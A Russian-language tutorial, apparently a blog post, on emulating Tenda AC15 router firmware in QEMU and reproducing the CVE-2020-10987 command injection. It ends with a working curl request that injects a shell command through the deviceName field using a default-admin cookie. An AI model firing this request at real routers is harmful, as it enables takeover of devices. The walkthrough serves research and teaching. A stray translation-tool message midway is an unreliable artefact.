
Разбор рехостинга прошивки роутера Tenda AC15 и воспроизведения эксплойта удалённого выполнения команд (CVE-2020-10987).
В этом материале я показываю, как именно я эмулировал веб-сервер прошивки AC15 (V15.03.05.19) с помощью QEMU, сделал его доступным из браузера хоста и использовал уязвимый обработчик /goform/setUsbUnload (CVE-2020-10987) для выполнения команд внутри эмулируемой корневой ФС.
squashfs из образа прошивки и начать реверсСначала нам нужно получить образ прошивки. Мне не удалось найти ссылку на загрузку образа AC15 V15.03.05.19, однако я нашёл репозиторий GitHub с уже извлечённой файловой системой squashfs.
Если бы у нас был правильный файл образа, мы могли бы извлечь его с помощью binwalk вот так:```
user@computer $ binwalk -e AC15_V15.03.05.19.bin
64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08
user@computer $ cd _AC15_V15.03.05.19.bin.extracted
Поскольку у нас нет нужного файла образа, но есть репозиторий с уже извлечённой файловой системой, мы можем просто клонировать репозиторий.```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061
Я создал каталог VR и склонировал этот репозиторий внутри него. Мой rootfs находится по пути $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs
Отлично, теперь у нас есть прошивка AC15 V15.03.05.19. Давайте перейдём к реверсу, чтобы понять, что здесь происходит.
Для реверса я буду использовать Ghidra 11.4.2.
Перейдём к нашему целевому бинарнику rootfs/bin/httpd и загрузим его в Ghidra.
Если мы перейдём к функции formsetUsbUnload, то увидим:```C
uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc);
doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1);
FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n");
FUN_0002c6cc(param_1,"{"errCode":0}");
FUN_0002cc14(param_1,200);
return;
Это и есть уязвимость. Параметр `deviceName` напрямую передаётся в `doSystemCmd`, что позволяет нам отправлять любые команды, какие захотим.
Теперь, поскольку мы собираемся перехостить эту прошивку с помощью qemu, а не на оригинальном железе роутера, некоторые программы будут пытаться обратиться к устройствам, которых нет, и ронять наш запуск.
Так как наша цель — эксплуатировать веб-сервер (`httpd`), я сосредоточился только на перехостинге этого бинарника, а не всего процесса запуска (`/rootfs/etc_ro/init.d/rcS`). _Оглядываясь назад, я не уверен, что это было правильное решение_
Итак, просматривая `rcS`, я хотел найти всё, что `rcS` мог бы делать и что понадобилось бы `httpd`. Ближе к концу файла мы видим:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &
rcS запускает cfmd в фоновом режиме непосредственно перед запуском остального стека.
После дополнительного исследования и изучения того, как уязвимая функция отправляет команду, я пришёл к выводу, что:
httpd формирует cfm postcfm общается с cfmd через UNIX-сокет (например, /var/cfm_socket)В процедуре InitServer в cfmd мы можем видеть```C
unlink("/var/cfm_socket");
strncpy(sa_unix.sun_path, "/var/cfm_socket", ...);
bind(fd, (sockaddr*)&sa_unix, 0x6e);
listen(fd, 5);
Он создает UIX-сокет и прослушивает его.
В целом работает это так: обработчик читает фиксированный кадр размером 0x7e0 байт от каждого клиента (`RecvMsg`/`SendMsg`). Первые 4 байта — код команды; затем идет 512-байтный буфер ключа и 1500-байтный буфер значения (размеры объектов на стеке видны в обработчике). Он коммутирует по опкоду и отвечает кодом ACK:
- `2` -> Get: `GetCfmValue(key, value)` затем код ответа `3`
- `0` -> Set: `SetCfmValue(key, value)` затем код ответа `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` затем код ответа `0x12`
- `10` -> Commit: `SaveCfm2Flash()` затем ответ `0x10` (OK) или `0xB` (ошибка)
Итак, чтобы эмулировать `cfmd`, я создал короткий скрипт `cfm_stub````C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#define SOCK_PATH "/var/cfm_socket"
// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
int s = socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr = {0};
if (s < 0) { perror("socket"); return 1; }
unlink(SOCK_PATH);
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
if (listen(s, 5) < 0) { perror("listen"); return 1; }
for (;;) {
int c = accept(s, NULL, NULL);
if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
if (n > 0) {
// In some builds httpd asks for "lan.webiplansslen" etc.
// Any non-empty reply that looks like an IP keeps init happy.
const char *reply = "192.168.0.1";
write(c, reply, strlen(reply));
}
close(c);
}
close(s);
return 0;
}
Я покажу, как скомпилировать это, после следующей части.
Следующий вспомогательный файл — hooks.so. Есть несколько функций, используемых в httpd и cfm, которые пытаются взаимодействовать с несуществующим оборудованием.
Ниже приведено то, что наша программа предполагает при запуске:
/dev/nvram) и возвращает разумные значения по умолчанию.Следующие функции становятся проблемой, поэтому нам приходится патчить их с помощью LD_PRELOAD=/hooks.so.
get_flash_type() -> если возвращается 4, код использует файловый путь (cfm_file_init), в противном случае он пытается обратиться к MTD (которого у нас нет).get_cfm_blk_size_from_cache() (а также вариант j_get_cfm_blk_size_from_cache) используется для определения размера блока конфигурации.bcm_nvram_get) не должны завершаться сбоем, иначе стек предполагает, что «NVRAM уничтожена», и переходит к логике восстановления/перезагрузки.load_l7setting_file() и restore_power(), будут успешными, но они обращаются к несуществующему оборудованию/файлам.Вот наш hooks.c. Авторство оригинала принадлежит azeria-labs.```C
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }
int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }
int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }
int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }
char *bcm_nvram_get(char *key) { char *value = NULL;
if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }
printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }
Теперь давайте скомпилируем эти файлы и поместим их в нашу прошивку.
Для кросс-компиляции мы можем использовать предварительно собранный тулчейн uClibc от Bootlin.```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc
The source content for this chunk is missing — the prompt ends with placeholder text ("You should see something like the following") and no actual Markdown chunk was included. Please provide the chunk content so the translation can be completed.```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib
Теперь мы можем скомпилировать с```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c
Затем, наконец, установите их в прошивку``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"
## Создание гостевой системы ARM
Давайте настроим нашу гостевую систему ARM, используя полную эмуляцию qemu.
Я создал каталог для этой гостевой системы в `~/qsys`
Теперь в этом каталоге давайте настроим нашу гостевую систему, выполнив следующие действия.```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf
sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage
cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF
sudo chroot ~/qsys/rootfs-armhf apt-get update
sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
ifupdown curl ca-certificates
sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'
Это создаст наш armhf rootfs, обновит нашу гостевую систему, настроит базовые инструменты, а затем установит для нашего root username:password как root:root.
Далее установите ядро armhf с помощью```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp
Затем извлекаем ядро и создаем образ ext4.```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/
dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt
Теперь, чтобы запустить нашу гостевую систему
Из ~/qsys выполните```bash
qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw
Вот краткий обзор того, что на самом деле означают эти строки в команде запуска.
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` Используйте модель платы Versatile Express A9 (плата, поддерживаемая ядром armmp от Debian)
- `-kernel/-dtb/-initr` Загрузите ядро/initrd Debian для этой платы с blob-файлом дерева устройств vexpress
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` Стандартная настройка rootfs на SD-карте с последовательной консолью на PL011.
- `-nographic -audiodev none,id=noaudio` Только последовательный интерфейс (без окна SDL) и без звука.
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` NAT в пользовательском режиме QEMU; проброс `host:2222` на `guest:22` и `host:8080` на `guest:80`. Это важно для работы сети. Подробнее об этом поговорим позже.
- `-device virtio-net-device,netdev=net0` Подключите сетевой адаптер (NIC) к бэкенду `net0`.
- `-drive file=./armhf.ext4,if=sd,format=raw` Корневая файловая система Debian находится на SD-подобном блочном устройстве (`/dev/mmcblk0`).
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` Предоставьте гостевой системе корневую ФС прошивки (только для чтения) через 9p с тегом `fw`. Мы смонтируем её в `/firmware` и поверх добавим overlayfs для возможности записи.
Внутри гостевой системы вы можете увидеть несколько ошибок. Это нормально, если вы дойдёте до приглашения входа и сможете войти с `root:root`.
Далее, чтобы получить интернет в нашей гостевой системе, выполните следующее```
dhclient -v eth0 || udhcpc -i eth0
Это позволит получить DHCP-адрес на eth0
Теперь установите socat``` apt-get update && apt-get install -y socat
## Загрузочный скрипт
Далее создадим наш загрузочный скрипт в корневом каталоге гостевой системы.```bash
nano boot_tenda.sh
Вот наш загрузочный скрипт /root/boot_tenda_sh внутри нашей гостевой системы с комментариями, объясняющими каждый шаг.```bash
set -e
mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware
for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done
rm -rf /overlay_run
mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw
mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw
mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp
ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
pidof syslogd >/dev/null || syslogd
chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'
chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"
chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
if command -v socat >/dev/null; then
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 &
else
echo "socat not found"
fi
(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true
Теперь время запустить его```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh
Вы должны увидеть, что порт 80 прослушивается процессом httpd
Для дополнительной проверки перейдите по адресу http://127.0.0.1:8080/ на вашем хосте, и мы можем увидеть домашнюю страницу роутера.
Если вы хотите узнать больше о том, как работает сеть, продолжайте читать; если нет — можете перейти к последнему разделу, где мы эксплуатируем веб-сервер.
Нам нужно было загрузить httpd роутера внутри гостевой системы, но сделать его доступным из браузера хоста по адресу http://127.0.0.1:8080/, пока сервер по-прежнему считает, что он привязан к LAN-IP роутера (192.168.0.1).
Три компонента обеспечивают это:
br0 на 192.168.0.1)socat)Мы делаем это в команде запуска, когда указываем```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0
- `-netdev user,...` включает slirp (пользовательский NAT QEMU): гостевая система получает исходящий доступ в Интернет (DHCP, DNS) без необходимости в root-мостах или TAP-устройствах на хосте.
- `hostfwd=tcp::2222-:22` перенаправляет порт хоста 2222 -> порт гостя 22.
- `hostfwd=tcp::8080-:80` перенаправляет порт хоста 8080 -> порт гостя 80.
Затем мы получаем DHCP-аренду для `eth0`. Обратите внимание, что Slirp обычно назначает гостю `10.0.2.15`, а шлюз находится на `10.0.2.2`.```bash
dhclient -v eth0 || udhcpc -i eth0
Реальная прошивка ожидает привязку к мосту LAN br0 по адресу 192.168.0.1. Мы воссоздаём это:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
Бинарники (или их библиотеки) часто запрашивают имена интерфейсов (например, `lan_ifname=br0`) и ожидают наличие bridge-устройства.
- Привязка httpd к `192.168.0.1` сохраняет поведение/редиректы (например, `302` на `http://192.168.0.1/main.html`) идентичным реальному устройству.
- На этом этапе httpd слушает только на `192.168.0.1:80` (а не на `eth0` гостевой системы).
### 3. Мост hostfwd -> слушатель прошивки с помощью `socat`
`host:8080` -> `guest:80` уже настроено QEMU. Но `httpd` не слушает на `eth0:80` гостевой системы; он слушает на `192.168.0.1:80`. Поэтому внутри гостевой системы мы добавляем крошечный TCP-ретранслятор:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
>/root/socat.log 2>&1 &
Вот общая структура``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)
## Время эксплуатации
Веб-стек защищает конечные точки «goform» с помощью некоторых проверок same-origin/AJAX и cookie «logged in». Отправьте те же заголовки, которые отправлял бы JavaScript интерфейса:```bash
curl -v \
-H 'Host: 192.168.0.1' \
-H 'Origin: http://192.168.0.1' \
-H 'Referer: http://192.168.0.1/index.html' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'deviceName=$(touch /tmp/Hello_World)' \
http://127.0.0.1:8080/goform/setUsbUnload
Что именно это делает?
Host/Origin/Referer/X-Requested-With проходит проверки AJAX и same-origin в обработчикеCookie: user=admin; password=<md5> имитирует авторизованную сессию. В данном случае я использовал md5("admin") = 21232f297a57a5a743894a0e4a801fc3deviceName=$(touch /tmp/Hello_World) устанавливает имя устройства в команду, которую мы хотим выполнить. В данном случае мы создаём файл /tmp/Hello_World
Примечание: выполнение этой команды зависнет на некоторое время, а затем, скорее всего, закроет соединение с ошибкой. Это нормально и является доказательством того, что всё сработало.Далее в гостье, чтобы дополнительно убедиться, мы можем проверить наличие нашего нового файла```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"
Вы должны увидеть```
-rw-r--r-- 1 root root 0 ... /tmp/Hello_World
success it worked!
Мы успешно эксплуатировали наш перехостированный маршрутизатор, выполнив отправленную нами команду